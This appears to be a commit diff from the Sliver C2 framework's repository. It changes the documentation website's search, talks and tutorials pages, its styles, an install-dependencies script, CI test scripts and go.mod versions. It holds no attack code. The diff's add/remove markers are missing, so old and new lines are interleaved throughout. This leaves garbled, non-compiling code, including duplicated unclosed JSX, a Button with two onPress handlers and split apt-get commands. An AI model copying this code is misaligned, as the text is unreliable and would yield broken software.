{query ? `Results for “${query.slice(0, 50)}”` : "Search results"}
</h2>
<p className="mt-1 text-sm tabular-nums text-muted">
{searchResults.length} {searchResults.length === 1 ? "result" : "results"}
</p>
<div className="px-4 pb-8 pt-4">
<div className="mx-auto flex w-full max-w-5xl flex-col gap-4">
<div className="text-3xl">
Search: &quot;{query?.slice(0, 50)}&quot;
<div className="text-sm text-gray-500">
{searchResults.length} Results
</div>
</div>
{searchResults.length > 0 ? (
<div className="mt-5 grid gap-4">
{searchResults.map((doc) => (
<Card key={doc.name}>
<Card.Header>
<Card.Title>{doc.name}</Card.Title>
<Card.Description className="mt-1 max-w-3xl leading-6">
{createExcerpt(doc.content) || "Open this article in the Sliver reference."}
{doc.content.length > 240 ? "…" : ""}
</Card.Description>
</Card.Header>
<Card.Footer>
<Button
variant="ghost"
onPress={() => {
router.push({ pathname: "/docs", query: { name: doc.name } });
}}
>
Open article
<FontAwesomeIcon icon={faChevronRight} />
</Button>
</Card.Footer>
</Card>
))}
</div>
) : (
<Card className="mt-5">
<Card.Content className="flex flex-col items-start gap-3 p-8">
<span className="flex size-10 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faMagnifyingGlass} />
</span>
<div>
<h2 className="text-lg font-semibold text-foreground">
{query ? "No matching documentation" : "Start with a keyword"}
</h2>
<p className="mt-1 max-w-xl text-sm leading-6 text-muted">
{query
? "Try a command name, transport, feature, or a shorter phrase."
: "Search for topics like staging, WireGuard, profiles, or extensions."}
</p>
</div>
{query ? (
{searchResults.map((doc) => (
<Card key={doc.name}>
<CardBody className="flex flex-col gap-3">
<div className="flex flex-col gap-3 sm:flex-row sm:items-center">
<span className="text-xl">{doc.name}</span>
<div className="flex-1"></div>
<Button
variant="outline"
onPress={() => router.push("/docs")}
size="sm"
color="secondary"
className="w-full sm:w-[150px]"
onPress={() => {
router.push(`/docs?name=${doc.name}`);
}}
>
Browse all documentation
Full Doc
<FontAwesomeIcon icon={faChevronCircleRight} />
</Button>
) : null}
</Card.Content>
</div>
<Divider />
<div className="max-h-[200px] overflow-hidden">
<MarkdownViewer markdown={doc.content} />
</div>
</CardBody>
</Card>
)}
))}
</div>
</>
</div>
);
};
+58 -113
View File
@@ -1,7 +1,7 @@
import Youtube from "@/components/youtube";
import { faArrowUpRightFromSquare } from "@fortawesome/free-solid-svg-icons";
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Accordion, Card } from "@heroui/react";
import { Accordion, AccordionItem, Button, Card, CardFooter } from "@heroui/react";
import { NextPage } from "next";
import Head from "next/head";
import React from "react";
@@ -21,7 +21,7 @@ type TalkSection = {
const workshopTalks: Talk[] = [
{
title: "Getting Started with Sliver v1.6",
title:"Getting Started with Sliver v1.6",
description: "Introductory workshop covering basics and new features.",
url: "https://www.youtube.com/watch?v=IOiyXYp1lDc",
},
@@ -47,7 +47,7 @@ const generalTradecraftTalks: Talk[] = [
title: "The Sliver C2 Framework",
description: "General discussion of C2 design.",
url: "https://www.youtube.com/watch?v=tkjMZuZ_8nw",
},
}
];
const communityTalks: Talk[] = [
@@ -100,124 +100,69 @@ const talkSections: TalkSection[] = [
];
const TalksIndexPage: NextPage = () => {
const [overlayHidden, setOverlayHidden] = React.useState<
Record<string, boolean>
>({});
const [footerHidden, setFooterHidden] = React.useState<Record<string, boolean>>(
{}
);
const hideOverlayFor = React.useCallback((url: string) => {
setOverlayHidden((current) =>
current[url] ? current : { ...current, [url]: true },
);
const hideFooterFor = React.useCallback((url: string) => {
setFooterHidden((prev) => (prev[url] ? prev : { ...prev, [url]: true }));
}, []);
return (
<>
<Head>
<title>Sliver Talks</title>
<meta
name="description"
content="Sliver workshops, technical talks, and community videos."
/>
</Head>
<div className="mt-6 px-4 pb-8 sm:px-6 lg:px-12">
<Accordion
selectionMode="multiple"
defaultExpandedKeys={["workshops", "general-tradecraft"]}
showDivider={false}
className="px-0"
>
{talkSections.map((section) => (
<AccordionItem
key={section.key}
aria-label={section.title}
title={section.title}
subtitle={section.description}
>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-9">
{section.talks.map((talk) => (
<div key={talk.url} className="sm:col-span-1 lg:col-span-3">
<Card isFooterBlurred className="relative z-0 overflow-hidden">
<Youtube
className="w-full"
url={talk.url}
title={talk.title}
onPlay={() => hideFooterFor(talk.url)}
/>
<div className="relative overflow-hidden">
<div className="sliver-grid-surface pointer-events-none absolute inset-x-0 top-0 h-72 opacity-35" />
<div className="relative mx-auto w-full max-w-7xl px-4 pb-20 pt-8 sm:px-6 sm:pt-10 lg:px-8 lg:pt-12">
<header className="mb-6 max-w-3xl">
<p className="text-sm font-medium text-accent">Talks &amp; workshops</p>
<h1 className="mt-1 text-balance text-3xl font-semibold tracking-tight text-foreground sm:text-4xl">
Watch Sliver in the field.
</h1>
<p className="mt-3 max-w-2xl text-base leading-7 text-muted">
Practical workshops, technical deep dives, and community sessions
collected in one compact library.
</p>
</header>
<Accordion
allowsMultipleExpanded
defaultExpandedKeys={["workshops", "general-tradecraft"]}
hideSeparator
className="w-full px-0"
>
{talkSections.map((section) => (
<Accordion.Item key={section.key} id={section.key}>
<Accordion.Heading>
<Accordion.Trigger>
<span className="flex flex-col items-start text-left">
<span className="flex items-center gap-2 text-lg font-semibold text-foreground">
{section.title}
<span className="text-xs font-normal tabular-nums text-muted">
{section.talks.length}
</span>
</span>
<span className="mt-1 text-sm text-muted">
{section.description}
</span>
</span>
<Accordion.Indicator className="ml-auto" />
</Accordion.Trigger>
</Accordion.Heading>
<Accordion.Panel>
<Accordion.Body>
<div className="grid grid-cols-1 gap-4 md:grid-cols-2 xl:grid-cols-3">
{section.talks.map((talk) => (
<Card
key={talk.url}
className="relative z-0 gap-0 overflow-hidden bg-black p-0 shadow-surface"
>
<Youtube
className="w-full"
url={talk.url}
title={talk.title}
onInteract={() => hideOverlayFor(talk.url)}
onPlay={() => hideOverlayFor(talk.url)}
/>
{overlayHidden[talk.url] ? null : (
<>
<div
aria-hidden="true"
className="pointer-events-none absolute inset-x-0 bottom-0 h-32 bg-gradient-to-t from-black/85 via-black/35 to-transparent"
/>
<div className="pointer-events-none absolute inset-x-3 bottom-3 z-10">
<div className="flex items-end gap-3 rounded-2xl border border-white/15 bg-black/55 p-3 text-white shadow-xl backdrop-blur-xl">
<div className="min-w-0 flex-1">
<h3 className="text-sm font-semibold leading-snug text-white">
{talk.title}
</h3>
<p className="mt-0.5 truncate text-xs text-white/65">
{talk.description}
</p>
</div>
<a
href={talk.url}
target="_blank"
rel="noreferrer"
aria-label={`Watch ${talk.title} on YouTube`}
className="pointer-events-auto inline-flex min-h-9 shrink-0 items-center gap-1.5 rounded-xl px-2.5 text-xs font-semibold text-white no-underline outline-none transition-colors hover:bg-white/10 focus-visible:ring-2 focus-visible:ring-white/70"
>
Watch
<FontAwesomeIcon
className="text-[10px]"
icon={faArrowUpRightFromSquare}
/>
</a>
</div>
</div>
</>
)}
</Card>
))}
</div>
</Accordion.Body>
</Accordion.Panel>
</Accordion.Item>
))}
</Accordion>
</div>
{footerHidden[talk.url] ? null : (
<CardFooter className="absolute bottom-0 z-10 bg-black/40 border-t-1 border-default-600 dark:border-default-100">
<div className="flex w-full items-center gap-2">
<p className="text-xs text-white/80">{talk.description}</p>
<Button
variant="ghost"
color="warning"
size="sm"
className="ml-auto"
onPress={() => {
window.open(talk.url, "_blank", "noopener,noreferrer");
}}
>
Watch <FontAwesomeIcon icon={faChevronRight} />
</Button>
</div>
</CardFooter>
)}
</Card>
</div>
))}
</div>
</AccordionItem>
))}
</Accordion>
</div>
</>
);
+108 -164
View File
@@ -3,28 +3,30 @@ import LoadingState from "@/components/loading-state";
import { Tutorials } from "@/util/tutorials";
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
import { fetchTutorials as fetchTutorialsContent } from "@/util/content-fetchers";
import {
faChevronRight,
faGraduationCap,
faSearch,
} from "@fortawesome/free-solid-svg-icons";
import { Themes } from "@/util/themes";
import { faSearch } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Card,
ListBox,
CardBody,
CardHeader,
Divider,
Input,
Listbox,
ListboxItem,
ScrollShadow,
SearchField,
} from "@heroui/react";
import { useQuery } from "@tanstack/react-query";
import Fuse from "fuse.js";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Head from "next/head";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
const TutorialsIndexPage: NextPage = () => {
const { theme } = useTheme();
const router = useRouter();
const { data: tutorials, isLoading } = useQuery({
@@ -73,29 +75,13 @@ const TutorialsIndexPage: NextPage = () => {
return selectedTutorial ? [selectedTutorial, ...visibleTutorials] : visibleTutorials;
}, [name, tutorials, visibleTutorials]);
const listboxClasses =
"flex flex-col gap-1 overflow-visible bg-transparent p-0";
const renderFilterInput = (className?: string) => (
<SearchField
aria-label="Filter tutorials"
className={className}
fullWidth
variant="secondary"
value={filterValue}
onChange={setFilterValue}
>
<SearchField.Group>
<SearchField.SearchIcon>
<FontAwesomeIcon icon={faSearch} />
</SearchField.SearchIcon>
<SearchField.Input placeholder="Filter..." />
{filterValue.length > 0 ? (
<SearchField.ClearButton aria-label="Clear tutorial filter" />
) : null}
</SearchField.Group>
</SearchField>
);
const listboxClasses = React.useMemo(() => {
if (theme === Themes.DARK) {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-large";
} else {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible rounded-large";
}
}, [theme]);
if (isLoading || !tutorials || (hasNameQueryInPath && !name)) {
return <LoadingState />;
@@ -104,146 +90,104 @@ const TutorialsIndexPage: NextPage = () => {
return (
<>
<Head>
<title>{name ? `${name} · Sliver Tutorials` : "Sliver Tutorials"}</title>
<title>Sliver Tutorial: {name}</title>
</Head>
<div className="mx-auto w-full max-w-[90rem] px-4 pt-8 sm:px-6 lg:px-8 lg:pt-10">
<div className="mb-8 lg:hidden">
<div className="flex items-center gap-3">
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faGraduationCap} />
</span>
<div>
<p className="text-sm font-medium text-foreground">Tutorials</p>
<p className="text-xs text-muted">Follow a guided workflow</p>
</div>
</div>
<div className="mt-5">{renderFilterInput()}</div>
<label
htmlFor="tutorials-mobile-selector"
className="mt-4 block text-sm font-medium text-foreground"
>
Tutorial
</label>
<select
id="tutorials-mobile-selector"
className="mt-2 w-full rounded-2xl border border-transparent bg-surface-secondary px-3 py-2.5 text-sm text-foreground outline-none focus:border-accent"
value={name}
onChange={(event) => {
const selectedName = event.target.value;
router.push({
pathname: "/tutorials",
query: selectedName ? { name: selectedName } : undefined,
});
}}
>
<option value="">Browse tutorials…</option>
{mobileTutorials.map((tutorial) => (
<option key={tutorial.name} value={tutorial.name}>
{tutorial.name}
</option>
))}
</select>
<div className="px-4 pt-4 lg:hidden">
<label
htmlFor="tutorials-mobile-selector"
className="block text-sm font-medium text-foreground"
>
Select a tutorial
</label>
<div className="mt-2">
<Input
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
</div>
<div className="grid min-w-0 grid-cols-1 gap-8 lg:grid-cols-[17rem_minmax(0,1fr)] lg:gap-10">
<aside className="sliver-sticky-sidebar hidden border-r border-separator/70 pr-6 lg:block">
<div className="flex h-full min-h-0 flex-col gap-5">
<div className="flex items-center gap-3 px-1">
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faGraduationCap} />
</span>
<div>
<p className="text-sm font-medium text-foreground">Tutorials</p>
<p className="text-xs text-muted">
{tutorials.tutorials.length} chapters
</p>
</div>
</div>
{renderFilterInput()}
<ScrollShadow className="sliver-scrollbar min-h-0 flex-1 overscroll-contain overflow-y-auto pr-2">
<ListBox
aria-label="Tutorials"
className={listboxClasses}
selectedKeys={name ? [name] : []}
selectionMode="single"
>
{visibleTutorials.map((tutorial) => (
<ListBox.Item
key={tutorial.name}
id={tutorial.name}
href={`/tutorials/?name=${encodeURIComponent(tutorial.name)}`}
textValue={tutorial.name}
className={`min-h-10 rounded-xl px-3 py-2 text-sm ${
tutorial.name === name
? "bg-surface font-medium text-foreground shadow-surface"
: "text-muted"
}`}
>
{tutorial.name}
</ListBox.Item>
))}
</ListBox>
</ScrollShadow>
</div>
</aside>
<div
key={name || "tutorials-overview"}
className="min-w-0 pb-16 lg:pr-4"
>
{name !== "" ? (
<article className="mx-auto w-full max-w-4xl">
<header className="mb-8 border-b border-separator/70 pb-8">
<p className="text-sm font-medium text-accent">Tutorial</p>
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
{name}
</h1>
</header>
<select
id="tutorials-mobile-selector"
className="mt-3 w-full rounded-lg border border-default-200 bg-content1 p-2 text-sm dark:border-default-100/60"
value={name}
onChange={(event) => {
const selectedName = event.target.value;
router.push({
pathname: "/tutorials",
query: selectedName ? { name: selectedName } : undefined,
});
}}
>
<option value="">Browse tutorials…</option>
{mobileTutorials.map((tutorial) => (
<option key={tutorial.name} value={tutorial.name}>
{tutorial.name}
</option>
))}
</select>
</div>
<div className="grid grid-cols-1 gap-6 lg:grid-cols-12 lg:gap-8">
<aside className="hidden lg:block lg:col-span-3">
<div className="sticky top-16 ml-4 flex flex-col gap-3">
<Input
className="mt-2"
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
<ScrollShadow className="max-h-[calc(100vh-6rem)] sliver-scrollbar overflow-y-auto pr-1 rounded-large">
<Listbox
aria-label="Toolbox Menu"
className={listboxClasses}
itemClasses={{
base: "px-3 first:rounded-t-large last:rounded-b-large rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{visibleTutorials.map((tutorial) => (
<ListboxItem
key={tutorial.name}
onClick={() => {
router.push({
pathname: "/tutorials",
query: { name: tutorial.name },
});
}}
>
{tutorial.name}
</ListboxItem>
))}
</Listbox>
</ScrollShadow>
</div>
</aside>
<div className="px-4 pb-8 lg:col-span-9 lg:px-8">
{name !== "" ? (
<Card className="mt-2">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody>
<MarkdownViewer
key={name}
markdown={markdown || ""}
demoteTopLevelHeading
/>
</article>
) : (
<div className="mx-auto w-full max-w-5xl pt-4 lg:pt-8">
<h1 className="text-sm font-medium text-accent">
Guided learning
</h1>
<p className="mt-4 max-w-2xl text-lg leading-8 text-muted">
Follow practical walkthroughs covering setup, sessions,
staging, pivots, scripting, and post-exploitation workflows.
</p>
<div className="mt-10 grid gap-4 sm:grid-cols-2">
{tutorials.tutorials.slice(0, 6).map((tutorial) => (
<Card key={tutorial.name} className="h-full">
<Card.Header>
<Card.Title>{tutorial.name}</Card.Title>
<Card.Description>
Continue through this guided Sliver workflow.
</Card.Description>
</Card.Header>
<Card.Footer className="mt-auto">
<Button
variant="ghost"
onPress={() => {
router.push({
pathname: "/tutorials",
query: { name: tutorial.name },
});
}}
>
Start tutorial
<FontAwesomeIcon icon={faChevronRight} />
</Button>
</Card.Footer>
</Card>
))}
</div>
</CardBody>
</Card>
) : (
<div className="mt-8 text-center text-2xl text-foreground/90">
Welcome to the Sliver Tutorials!
<div className="mt-2 text-xl text-default-500">
Please select a chapter
</div>
)}
</div>
</div>
)}
</div>
</div>
</>
+8 -19
View File
@@ -9,31 +9,20 @@ if [[ "$EUID" -ne 0 ]];then
exit
fi
# Only include minisign in the package list when it isn't already on PATH.
# The minisign apt package isn't in the default Ubuntu 22.04 repos, but
# users often install it manually to /usr/local/bin first; without this
# guard the apt-get call below fails the whole script (issue #2239).
MINISIGN_PKG=(minisign)
if command -v minisign &> /dev/null; then
MINISIGN_PKG=()
fi
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt-get &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
"${MINISIGN_PKG[@]}" curl build-essential git
INSTALLER=(apt-get install -yqq)
minisign curl build-essential git
INSTALLER=(apt-get install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install "${MINISIGN_PKG[@]}" curl make git
INSTALLER=(yum -y)
yum -y install minisign curl make git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
if [[ ${#MINISIGN_PKG[@]} -gt 0 ]]; then
pacman --noconfirm -S "${MINISIGN_PKG[@]}"
fi
echo "Installing dependencies using pacman..."
pacman --noconfirm -S minisign
INSTALLER=(pacman --noconfirm -S)
else
echo "Unsupported OS, exiting"
@@ -42,9 +31,9 @@ fi
# Verify if necessary tools are installed
for cmd in curl awk minisign; do
if ! command -v "$cmd" &> /dev/null; then
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, installing..."
${INSTALLER[@]} "$cmd"
${INSTALLER[@]} "$cmd"
fi
done
+16 -85
View File
@@ -1,44 +1,24 @@
@import "tailwindcss";
@import "@heroui/styles";
@config "../tailwind.config.js";
:root {
--font-mono: "Fira Code", ui-monospace, SFMono-Regular, Menlo, Monaco,
Consolas, "Liberation Mono", "Courier New", monospace;
--sliver-navbar-height: 4rem;
--sliver-footer-height: 4.75rem;
}
/* Keep html as the single page scroller so content can pass beneath the shell. */
/* Keep layout width stable when page content toggles vertical scrolling. */
html,
body {
scrollbar-gutter: stable both-edges;
}
/*
Keep html as the single scrolling element. Setting overflow on both html
and body breaks sticky sidebar behavior on docs/tutorial pages.
*/
html {
overflow-y: scroll;
scroll-padding-top: calc(var(--sliver-navbar-height) + 1.5rem);
scroll-padding-bottom: calc(
var(--sliver-footer-height) + env(safe-area-inset-bottom)
);
}
body {
min-height: 100dvh;
background:
radial-gradient(circle at 12% -10%, color-mix(in oklab, var(--accent) 12%, transparent), transparent 28rem),
radial-gradient(circle at 88% 4%, color-mix(in oklab, var(--surface-tertiary) 55%, transparent), transparent 26rem),
var(--background);
}
.sliver-page-content {
padding-bottom: calc(
var(--sliver-footer-height) + env(safe-area-inset-bottom)
);
}
.sliver-fixed-footer {
padding-bottom: env(safe-area-inset-bottom);
}
::selection {
background: color-mix(in oklab, var(--accent) 32%, transparent);
}
/* Fallback for engines that do not support scrollbar-gutter. */
@@ -56,22 +36,6 @@ body {
html {
overflow-y: scroll;
}
.sliver-sticky-sidebar {
position: sticky;
top: calc(var(--sliver-navbar-height) + 2.5rem);
align-self: start;
height: calc(
100dvh - var(--sliver-navbar-height) - var(--sliver-footer-height) -
env(safe-area-inset-bottom) - 3.5rem
);
}
}
@media (min-width: 768px) {
:root {
--sliver-footer-height: 3.5rem;
}
}
code,
@@ -85,7 +49,7 @@ pre {
.sliver-scrollbar {
scrollbar-width: thin;
scrollbar-color: color-mix(in oklab, var(--muted) 58%, transparent) transparent;
scrollbar-color: rgba(148, 163, 184, 0.7) transparent;
scrollbar-gutter: stable;
}
@@ -98,35 +62,18 @@ pre {
}
.sliver-scrollbar::-webkit-scrollbar-thumb {
background-color: color-mix(in oklab, var(--muted) 58%, transparent);
background-color: rgba(148, 163, 184, 0.7);
border-radius: 9999px;
border: 2px solid transparent;
background-clip: content-box;
}
.sliver-grid-surface {
background-image:
linear-gradient(color-mix(in oklab, var(--separator) 35%, transparent) 1px, transparent 1px),
linear-gradient(90deg, color-mix(in oklab, var(--separator) 35%, transparent) 1px, transparent 1px);
background-size: 32px 32px;
mask-image: linear-gradient(to bottom, black, transparent 92%);
.dark .sliver-scrollbar {
scrollbar-color: rgba(79, 97, 125, 0.8) transparent;
}
.sliver-terminal-frame .ap-wrapper {
border-radius: 0 !important;
}
.sliver-asciinema-bottom-aligned .ap-wrapper {
align-items: flex-end;
justify-content: flex-start;
}
.sliver-terminal-frame .asciinema-player {
background: #111315;
}
.sliver-asciinema-controls-hidden .ap-control-bar {
display: none !important;
.dark .sliver-scrollbar::-webkit-scrollbar-thumb {
background-color: rgba(79, 97, 125, 0.8);
}
.asciinema-player {
@@ -137,19 +84,3 @@ pre {
.asciinema-player .asciinema-terminal {
max-width: 100% !important;
}
.markdown-body {
color: var(--foreground);
}
.markdown-body :where(h2, h3, h4) {
scroll-margin-top: calc(var(--sliver-navbar-height) + 1.5rem);
}
@media (prefers-reduced-motion: reduce) {
*,
*::before,
*::after {
scroll-behavior: auto !important;
}
}
+4 -2
View File
@@ -1,9 +1,11 @@
const { heroui } = require("@heroui/theme");
/** @type {import('tailwindcss').Config} */
module.exports = {
content: [
"./components/**/*.{js,ts,jsx,tsx,mdx}",
"./app/**/*.{js,ts,jsx,tsx,mdx}",
"./pages/**/*.{js,ts,jsx,tsx,mdx}",
"./node_modules/@heroui/theme/dist/**/*.{js,ts,jsx,tsx}",
],
theme: {
extend: {
@@ -14,5 +16,5 @@ module.exports = {
},
},
darkMode: "class",
plugins: [],
plugins: [heroui()],
};
-7
View File
@@ -367,13 +367,6 @@ try {
}
if (-not $SkipGenerate) {
# The package tests above no longer need their Go build cache. Reclaim it
# before the cross-platform generation matrix starts so long CI runs do
# not exhaust the runner's disk while retaining the implant compiler cache.
Invoke-TestStep -Name "clean Go build cache" -Action {
Invoke-ExternalCommand -FilePath "go" -Arguments @("clean", "-cache")
}
$generateGoMaxProcs = if ($env:SLIVER_GENERATE_GOMAXPROCS) { $env:SLIVER_GENERATE_GOMAXPROCS } else { "2" }
$generateGoP = if ($env:SLIVER_GENERATE_GO_P) { $env:SLIVER_GENERATE_GO_P } else { "1" }
$generateTestParallel = if ($env:SLIVER_GENERATE_TEST_PARALLEL) { $env:SLIVER_GENERATE_TEST_PARALLEL } else { "1" }
-4
View File
@@ -234,10 +234,6 @@ fi
## Server generate
if [ "$SKIP_GENERATE" -eq 0 ]; then
# The package tests above no longer need their Go build cache. Reclaim it
# before the cross-platform generation matrix starts so long CI runs do not
# exhaust the runner's disk while retaining the implant compiler cache.
run_test_cmd "clean Go build cache" go clean -cache || exit 1
export GOPROXY=off
# Generate tests are memory intensive (garble/c-shared cross-builds). Keep
# parallelism conservative by default to avoid OOM kills on smaller systems.
+44 -36
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.26.6
go 1.25.8
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
@@ -10,9 +10,10 @@ replace github.com/reeflective/console => github.com/moloch--/console v0.0.0-202
require (
charm.land/bubbles/v2 v2.0.0
charm.land/glamour/v2 v2.0.1
charm.land/fantasy v0.8.1
charm.land/glamour/v2 v2.0.0
charm.land/huh/v2 v2.0.3
charm.land/lipgloss/v2 v2.0.4
charm.land/lipgloss/v2 v2.0.2
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
@@ -39,17 +40,16 @@ require (
github.com/mattn/go-sqlite3 v1.14.32
github.com/miekg/dns v1.1.70
github.com/moloch--/asciicast v0.1.1
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
github.com/moloch--/sgn v0.0.5
github.com/ncruces/go-sqlite3 v0.30.4
github.com/nikoksr/notify v1.5.0
github.com/openai/openai-go/v2 v2.7.1
github.com/reeflective/console v0.1.25
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.4
github.com/sliverarmory/beignet v0.0.3
github.com/sliverarmory/malasada v0.0.3
github.com/sliverarmory/reflektor v0.0.2
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
@@ -59,23 +59,22 @@ require (
github.com/ulikunitz/xz v0.5.15
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
golang.org/x/crypto v0.53.0
golang.org/x/crypto v0.49.0
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa
golang.org/x/mod v0.37.0
golang.org/x/net v0.56.0
golang.org/x/sys v0.46.0
golang.org/x/term v0.44.0
golang.org/x/text v0.40.0
golang.org/x/mod v0.33.0
golang.org/x/net v0.52.0
golang.org/x/sys v0.42.0
golang.org/x/term v0.41.0
golang.org/x/text v0.35.0
golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10
google.golang.org/api v0.269.0
google.golang.org/grpc v1.82.1
google.golang.org/grpc v1.79.3
google.golang.org/protobuf v1.36.11
gopkg.in/natefinch/lumberjack.v2 v2.2.1
gorm.io/driver/mysql v1.6.0
gorm.io/driver/postgres v1.6.2
gorm.io/driver/postgres v1.6.0
gorm.io/driver/sqlite v1.6.0
gorm.io/gorm v1.31.2
gorm.io/gorm v1.31.0
gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c
maunium.net/go/mautrix v0.26.0
modernc.org/sqlite v1.39.0
@@ -94,7 +93,7 @@ require (
cloud.google.com/go/storage v1.60.0 // indirect
filippo.io/hpke v0.4.0 // indirect
firebase.google.com/go/v4 v4.18.0 // indirect
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.32.0 // indirect
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0 // indirect
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0 // indirect
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.55.0 // indirect
github.com/MicahParks/keyfunc v1.9.0 // indirect
@@ -102,6 +101,7 @@ require (
github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20250718055228-285ecf400b48 // indirect
github.com/appleboy/go-fcm v1.2.6 // indirect
github.com/atc0005/go-teams-notify/v2 v2.14.0 // indirect
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.5 // indirect
github.com/aws/aws-sdk-go-v2/credentials v1.19.11 // indirect
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.19 // indirect
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.19 // indirect
@@ -125,10 +125,11 @@ require (
github.com/caarlos0/go-reddit/v3 v3.0.1 // indirect
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/charmbracelet/harmonica v0.2.0 // indirect
github.com/charmbracelet/anthropic-sdk-go v0.0.0-20260223140439-63879b0b8dab // indirect
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
github.com/charmbracelet/x/exp/ordered v0.1.0 // indirect
github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 // indirect
github.com/charmbracelet/x/json v0.2.0 // indirect
github.com/charmbracelet/x/termios v0.1.1 // indirect
github.com/charmbracelet/x/windows v0.2.2 // indirect
github.com/clipperhouse/displaywidth v0.11.0 // indirect
@@ -145,7 +146,7 @@ require (
github.com/fatih/structs v1.1.0 // indirect
github.com/felixge/httpsnoop v1.0.4 // indirect
github.com/fsnotify/fsnotify v1.9.0 // indirect
github.com/go-jose/go-jose/v4 v4.1.4 // indirect
github.com/go-jose/go-jose/v4 v4.1.3 // indirect
github.com/go-lark/lark v1.16.0 // indirect
github.com/go-logr/logr v1.4.3 // indirect
github.com/go-logr/stdr v1.2.2 // indirect
@@ -153,6 +154,8 @@ require (
github.com/go-playground/universal-translator v0.18.1 // indirect
github.com/go-redis/redis/v8 v8.11.6-0.20220405070650-99c79f7041fc // indirect
github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible // indirect
github.com/go-viper/mapstructure/v2 v2.5.0 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/golang-jwt/jwt/v4 v4.5.2 // indirect
github.com/golang-jwt/jwt/v5 v5.3.0 // indirect
github.com/google/go-querystring v1.1.0 // indirect
@@ -163,9 +166,12 @@ require (
github.com/gorilla/websocket v1.5.3 // indirect
github.com/gregdel/pushover v1.4.0 // indirect
github.com/invopop/jsonschema v0.13.0 // indirect
github.com/joho/godotenv v1.5.1 // indirect
github.com/jordan-wright/email v4.0.1-0.20210109023952-943e75fe5223+incompatible // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/kaptinlin/go-i18n v0.2.3 // indirect
github.com/kaptinlin/jsonpointer v0.4.9 // indirect
github.com/kaptinlin/jsonschema v0.6.10 // indirect
github.com/kaptinlin/messageformat-go v0.4.9 // indirect
github.com/kevinburke/go-types v0.0.0-20240719050749-165e75e768f7 // indirect
github.com/kevinburke/rest v0.0.0-20250718180114-1a15e4f2364f // indirect
github.com/kevinburke/twilio-go v0.0.0-20250718182727-5fe7adc01f29 // indirect
@@ -180,6 +186,7 @@ require (
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/oapi-codegen/runtime v1.1.2 // indirect
github.com/openai/openai-go/v2 v2.7.1 // indirect
github.com/pires/go-proxyproto v0.8.1 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect
@@ -188,7 +195,7 @@ require (
